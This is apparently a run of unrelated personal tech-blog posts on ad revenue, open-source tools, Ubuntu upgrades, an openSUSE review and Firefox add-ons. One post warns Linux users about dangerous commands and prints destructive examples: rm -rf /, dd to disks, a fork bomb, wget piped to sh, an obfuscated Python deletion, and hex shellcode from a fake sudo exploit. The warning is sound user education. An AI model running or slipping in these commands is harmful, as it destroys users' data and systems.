Website Ads

During my time trying to crack the formula for making money with a webiste, I have tried Google’s Adsense, affiliate programs, banner ads, Amazon’s astore, and other avenues for making money. I can not seem to get the maigc formula where the money just starts rolling in like the jackpot on a Slot machine. I have, however,  made some money with some of these approachs. So, let’s break them down!

Google Adsense

I have had very mixed results using Google’s Adsense. Sometimes the fuse appears to be lite for some great returns while other times I think the wick is wet. First let me cover some do’s. Do be sure to make the ad either blend with your site or alternately contrast your site. Going back and forth between these method can help prevent ad blindness by your surfers. Make sure you adhere to the Google terms and conditions or else you might find your site in trouble. Leave your surfers few choices of outs other than ads on pages you decide to use ads on.

Now for the don’ts. Reading between the lines of the last statement on the paragraph earlier, do not put ads on every page of your site. I have found this to be a very bad idea. What happened to me was my Click Through Rate (CTR) dropped tremedously. The result of the CTR drop was that Google dropped my Earning Per Click (EPC).  Pick your pages to place your ads on wisely. The best way I can think of to accomplish this is experimentation. I have found what I call “leaf” pages (pages at the bottom of a tree of web pages) to be the best choice for ad placement. But that is me, you might wish to try your branches or main trunk (home page) depending on your website’s subject.

Affiliate Programs

The easiest way I have found to get into affiliates is through an affiliate service. I have used ShareASale.com with some success. Again, I get mixed results with my affiliates. One minute they appear to be catching on fire and the next, not even warm ashes. I have used the ShareASale.com datafeeds to keep my website up-to-date with the latest product/pricing changes of the various merchants. This feature made it easy to stay on top of the chnages. I also used PPC ads that I purchased to send traffic to my affiliate pages. This is one of the best ways I have found to drive traffic to your affiliate pages but it comes with a lot of attention. You must stay on top of your PPC campaigns or you can find yourself losing money before you know it. Just watch your Return On Investment (ROI) [in other words your cost versuses your income].

Banner Ads

Most of the banner ads (image ads) I have used have also been through ShareASale.com. I used OpenAds (now know as OpenX) to serve my banners and my Google Adsense Ads as well. It was a little complicated to setup but once it is up, it is fairly easy to maintain. Maybe I should do a future post about how to set up OpenX. I have had limited success with banner ads on my site. I am not sure if it is because of my website’s subject matter or I have just done a bad job of setting them up? Guess that means more experimentation is needed.

Amazon AStore

Setting up the Amazon Astore is a relatively painless operation. It takes a moment or two to get acclimated but after that, it a breeze. I rather like the concept of Amazon worrying with what sales and me concentrating on my website! I have attempted to integrate the Astore into some of my affiliate pages. Only problem is, noone is buying anything from them.

Conclusion

That street of gold still eludes me. If you would like to see my attempts at success, take a look as here is my site ConcerningAging.com. Maybe you will have some insights that can help us both out. Good luck on your adventure for the gold. If you would like to share with us, please add your comments.

Word Processing

The best word processor I have found is Open Office Writer. This both fits my needs and its part of a complete suite of Office tools to help me be more productive. You can try this one out yourself by visiting their website at: openoffice.org

I have used this software for many years now and have found it most satisfactory. You can’t beat the price either as this is open source software and is free to the end user. They would certainly not turn down any donations, I am sure if you feel so inclined but use it without obligation.

This software also contains a spreadsheet (like Microsoft Excel) and presentation application (like Microsoft Powerpoint).

Database

Sometimes you find yourself in need of some data handling capability. When my needs turn to databases, I turn to MySQL. This is a full featured open source software package (spelled F R E E - which fits my budget).

If you have a need for keeping up with the company inventory or contact list. MySQL can help you. If you tie MySQL to OpenOffice, you have a force to reckoned with. You can put together a professional looking data entry application in short order using these tools.

You can find MySQL through their website at: MySQL

Desktop Operating System

If you are tired of an operating system that:

• is under constant attack by mal-ware (viruses, spyware, worms, etc.)
• is way too expensive
• is known to take over your computer at most inopportune times (like updates)

then it is time to consider other alternatives for your desktop. Today’s Linux is not just for Geeks anymore. Liunx has come a long way towards becoming user friendly. Upgrades and updates are becoming just the click of a button and initial installation is now almost automatic.

One of the concerns about changing operating systems is always what software will be available to run. The latest version of open source applications (several mentioned in this article) are meeting the needs of desktop users everywhere. Besides, you can always dual boot your computer to use that one piece of software you use once a year that must run under a specific operating system.

You can find many distributions of Linux available. My favorite one (Ubuntu) can be found at this web address: Ubuntu

How many times have you had your web server stop serving web pages because it was out of disk space? Well, it seems to happen to me quite often. That is why I thought I would put this post together to help find the culprit that’s eating up my disk space.

Determining where you need space

The first thing you need to know is “where do I need space?” To find out where (which partition/disk) needs the space use the following command:

df -h

The “-h” gives you a human readable format. So you see results like 29M for 29 megabytes versus stuff like 30234524. It is much easier to read the results with the “-h”.

Now take a look at the given results from the ‘df’ command to see which partition needs space. Here is a sample output:

As you can see my root partition (”/”) is 81% used. If I was having disk space troubles, this figure could be as much as 100%.

Finding the Big Files

With the information about where we are running low on disk space from the section above, change directories to the start of that partition using the ‘cd’ command as follows:

cd /

If my root partition was low on disk space that is the partition I would go to.

Now, I am ready to determine which files are taking up the majority of my disk space. Use something like the following command to accomplish this:

find . -size +20M -exec du -h \{\} \;

This command will first find file of size 20MB or larger. Next it passes that file over to the ‘du’ (disk usage) command to show us in human readable format (-h) the size of the file.

That is quite a handy little command.

Removing Large Numbers of Files

Sometimes you may find that you have a directory with a large number of files that you wish to get rid of. However, the normal method of using the “rm” (remove) command comes back and complains that the list is too long. What do you do now? Well, don’t despair use the following command to solve this dilemma:

find /tmp -type f -exec rm -f \{\} \;

Be very careful using a command like this. This one if JUST an example. Read the man page on ‘find’ to see just how useful this command really is. This particular commandline will find all files (-type f) in the /tmp directory and pass the filenames to the “-exec” command. In this case the “”exec” command is the remove command (rm). The “-f” forces deletion quietly. The curly braces are replaced by the find command with the filename being passed in. The semicolon (with the backslash in front) is the required end of command marker.

Luckily the find command is pretty quick and VERY useful!

I am writing this post because the first time I attempted to upgrade a major distribution change, I did it without researching the right way to do it. Needless to say, it did not go well. So, I am putting this together to help those of you willing to “read the instructions”.

First thing to know is that there are different types of distribution upgrades. If you are upgrading within a major distribution (like say ‘Hardy’), then you use the “Minor” release method. However, if you are upgrading from one “Long Term Support” version to another (like ‘Dapper’ to ‘Hardy’), then use the “Major” release method below.

Determining which Release you are running

There are multiple ways to determine which release you are currently running. Here are a few of them (choice one):

1. lsb_release -a
2. more /etc/lsb-release
3. uname -a

NOTE: The last method will not give you the current release name (like ‘Gutsy’) but only the release number (like ‘2.6.24-19-server’).

Minor Release Upgrade Method

Use the following steps as a guide to upgrade from one minor release to another:

1. apt-get update
2. apt-get upgrade
3. apt-get dist-upgrade

NOTE: if you are not running as root you will have to use ’sudo’ (without quotes) before each of the above commands.

Major Release Upgrade Method

Here are some guidelines for upgrading from one major release to another:

1. apt-get update
2. apt-get upgrade
3. apt-get install update-manager-core
4. do-release-upgrade

NOTE: if you are not running as root you will have to use ’sudo’ (without quotes) before each of the above commands.

Overall, openSUSE seems much more polished and professional than Ubuntu. It comes with nice default graphical startup and shutdown screens and the text details look nice too. The default Log-in and Log-out sounds are very pleasant. A Tango-ish Industrial icon theme is used by default, and custom splashscreens have been made for applications such as OpenOffice. Green and blue are nice colors for an operating system, but I’m not sure if I like the complementary yellow (but then again themes are highly subjective plus easily changed, so it doesn’t matter).

Speaking of theme changes, one of the first changes I made was to increase the font dpi to 96 to make them readable, and change the fonts to DejaVu Sans with subpixel rendering (which actually works under openSUSE). I changed the theme controls to the familiar Clearlooks (which for some reason seems slightly different than Ubuntu’s version?), and also looked at some of the other very nice themes and backgrounds included by default.

I noticed Slab menu and Clock applet’s text was slightly cut off using the Clearlooks theme. While I was looking at panel applets, I also noticed that the Clock applet in openSUSE includes a world time feature, and that one of my favorite Tomboy features, To Do Lists, is also included (the To Do List feature is not included in the current Ubuntu 8.04 Hardy Heron version of Tomboy). I tried to add the Deskbar applet, but it immediately crashed instead. This was the first of the few problems I had with openSUSE.

I had very few problems running openSUSE. Some things were unfamiliar and different, such as the use of gnomesu instead of gksudo, the Slab menu, and the Yast2 Control Panel, but the biggest problem, one I had anticipated, was package management. I was surprised at how easy it was to add repositories. I simply opened the Installation Sources tool and added some of the repositories for my favorite software listed on this page. Installing software from the repositories was not incredibly difficult, just a little different from what I was used to, but upgrading was very unintuitive. I had a number of updates available that were the Update Notifier applet failed to notify me about. I installed apt-for-rpm and synaptic, which made things a little more familiar, but everything about rpm package management just seemed very slow and unintuitive. I experienced a taste of so-called dependency hell while attempting to update, which was very frustrating because I used the official repositories listed on the official openSUSE website.

One positive about openSUSE’s software is that the default selection includes some of my favorite applications and games, some of which have been modified and improved. I was excited when OpenOffice.org loaded after its professional-looking splash without the font rendering problems which plague the Ubuntu version. The Microsoft TrueType core fonts are also included by default, which boosts openSUSE’s compatibility. Firefox too has its improvements. openSUSE’s Firefox uses native tabs and its menus have icons just like any other application. The form widgets are not fixed in the openSUSE version, which was a disappointment, as was running Evolution and Banshee expecting improvements in them as well (especially as they are both Novell apps). I was about to shut down the system for the night a little disappointed when I noticed another modification, in the shut down dialog.

Novell is working very hard to create a Linux distribution that is polished and professional, and easy to use by a wide variety of people. I believe they are succeeding in openSUSE, but there is still a ways to go. I look forward to testing openSUSE 11!

openSUSE and Ubuntu both have live cd versions that allow a user to boot into the operating system without installing to or using the hard disk. With the Ubuntu live cd, a user can also choose to install the operating system from the live cd.

I decided to stick with GNOME (and probably will until the release of KDE 4.1, which I am looking forward to very much) and downloaded the openSUSE 10.3 GNOME install cd. The download was a little slow (only about 80 kbps instead of my usual 300 or so, maybe because of recent Novell server issues), but after a while it finished and I burned it to a cd. I backed up my personal data on Ubuntu, and then rebooted into the openSUSE installer.

The initial bootup screen is nice, green is a good color for an operating system and I like the “Welcome” message in multiple languages, but the resolution is not quite correct. I am prompted to select my installation options, and this brings up the another comparison I want to make between Ubuntu and openSUSE.

The openSUSE installer gives the user a lot more control over the install, which is good for advanced users, but can be confusing to beginners. The openSUSE installer is very usable for advanced users, perhaps more usable than Ubuntu’s alternate (non-graphical) installer. For a new user installing openSUSE, the default choices are good, but Ubuntu’s installer is probably better for such users, and also is faster and more streamlined.

Anyway, I choose the basic installation without options (the second menu choice) and after a while I am taken to an installation screen with a number of steps. The first step is a Media Check, which I skip (probably not the best idea). The second step is about the License Agreement, which I accept and then move on to the third step, choosing Installation Mode. Anyway, I proceed through each step of the installation usually keeping the defaults, except for things like partitioning and also disabling automatic login. The entire installation process takes about an hour and a half, but probably would take considerably less time if I did not choose to use online updates during the install (my connection to Novell/openSUSE servers is always slow). I reboot because of a kernel upgrade, and then complete the installation. Finally I can log into my new openSUSE desktop.

I have never really used any Linux distributions before other than Ubuntu (which I love…mostly) and Linux Mint (which is just ok), so I am eager to try something new, to broaden my horizons and to learn something more about the world of Linux. I’ll probably be a little biased against openSUSE because of the things I had heard about its package management and about Novell’s “evil” deal with Microsoft, but I want to give it a try myself.

For the education of Linux users everywhere, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data — many of them will even cause damage from a LiveCD environment.

Again, DANGEROUS COMMANDS — look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn’t “feel right”.

1. Delete all files, delete current directory, and delete visible files in current directory. It’s quite obvious why these commands can be dangerous to execute.
rm -rf /
rm -rf .
rm -rf *

2. Another interesting one comes up when trying to delete all hidden entries in a directory (hidden entries start with a “.”) You may be tempted to use:
rm -r .*

The only problem is that .., the link to the previous directory, will be matched by this and this will in turn delete everything above this directory level (oops!). A possible alternative that I can think of for this would be
rm -r .[^.]*
which will exclude the entry “..”. Of course, it probably has limitations of not matching certain entries, fixing which is an exercise left to the reader.

3. Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.
mkfs
mkfs.ext3
mkfs.anything

4. Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:
any_command > /dev/sda
dd if=something of=/dev/sda

5. Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)
:(){:|:&};:

In Perl:
fork while fork

6. Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory

7. Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it’s highly compressed data and will inflate to hundreds of GB’s, filling your hard drive. You should not touch data from an untrusted source

8. Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses — benign or malevolent. Do not execute code from people you don’t trust
wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

9. Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author’s homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:
char esp[] __attribute__ ((section(”.text”))) /* e.s.p

release */

= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"

"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"

"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"

"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"

"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"

"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"

"\x6e\x2f\x73\x68\x00\x2d\x63\x00"

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;";

To the new or even lightly experienced computer user, this looks like the “hex code gibberish stuff” that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don’t need to be reading this announcement. Otherwise, remember that these things can come in very novel forms — watch out.

Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!

For example, 30 seconds in Python yields something like this:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))’

Where “sn!.sg!+” is simply rm -rf * shifted a character up. Of course this is a silly example — I wouldn’t expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.

The Truetype Microsoft fonts provided by the package include:

• Andale Mono
• Arial Black
• Arial (Bold, Italic, Bold Italic)
• Comic Sans MS (Bold)
• Courier New (Bold, Italic, Bold Italic)
• Georgia (Bold, Italic, Bold Italic)
• Impact
• Times New Roman (Bold, Italic, Bold Italic)
• Trebuchet (Bold, Italic, Bold Italic)
• Verdana (Bold, Italic, Bold Italic)
• Webdings

Requirements:

• administrator privledges (able to use the “sudo” command)
• universe and multiverse repositories enabled (See this post to learn how to enable the universe and multiverse repositories)

Instructions:

• Note: This “recipe” was written for Ubuntu 8.04 (Hardy Heron), but may (or may not) work for other versions or distributions.

To install the Microsoft TrueType core fonts, you can execute the following steps:

1. Open a terminal and install the fonts:
sudo apt-get install msttcorefonts

2. The Microsoft TrueType core fonts are now installed. If there are other TrueType fonts that you want to install, copy the font files to the ~/.fonts directory.

3. After installing new fonts, you will have to log out and log in again to be able to see and use the new fonts. If you want to avoid this, you can regenerate the fonts cache:
sudo fc-cache -fv

Note: This “recipe” was written for Ubuntu 8.04 (Hardy Heron), but may (or may not) work for other versions or distributions.

Instructions:

• There are two ways to install “incompatible” extensions. The first involves editing the install.rdf file that is a part of every Firefox extension. The second method uses another Firefox extension call “Nightly Tester Tools”. I have not used the Nightly Tester Tools method and cannot say for myself if it works, but I know some people have used it and achieved very positive results.

install.rdf

To get add-ons to work with Firefox 3 by modifying their install.rdf files, you can execute the following steps:

1. Go to addons.mozilla.com and navigate to the page for your extension.

2. Right click the green “Install Now” button on that page. On the context menu, click “Save Link As…” and save the .xpi to your desktop*.

3. Extract the .xpi file on your desktop and open the extracted folder. In it you will find a file called “install.rdf”, among others.

4. Open “install.rdf” in a text editor, and find the line that reads “em:maxVersion=” (If there is more than one line that says “em:maxVersion=“, then find the one for Firefox or change them all.)

5. Once you have found the correct line, replace whatever value the maxVersion is currently set to with “3.0″, then save and close the file.

6. Now, create a new .jar archive that contains all of the files that were in the original .xpi and the modified install.rdf.

7. Rename your new .jar archive into a .xpi file (.xpi files are just .jar archives).

8. Open the new .xpi file in Firefox, and click to install it. Once the extension is finished installing, click the “Restart Firefox” button.

Nightly Tester Tools extension

To get add-ons to work with Firefox 3 by using the Nightly Tester Tools extension, you can execute the following steps:

1. Download and install the Nightly Tester Tools extension or the Nightly Tester Tools Lite extension.

2. Follow any instructions you may be given, then restart Firefox.

* For some reason, on my computer at least, I was unable to save some of the files I tried to download this way. If you find that you cannot download a file, try to find it and download it from the Mozilla FTP.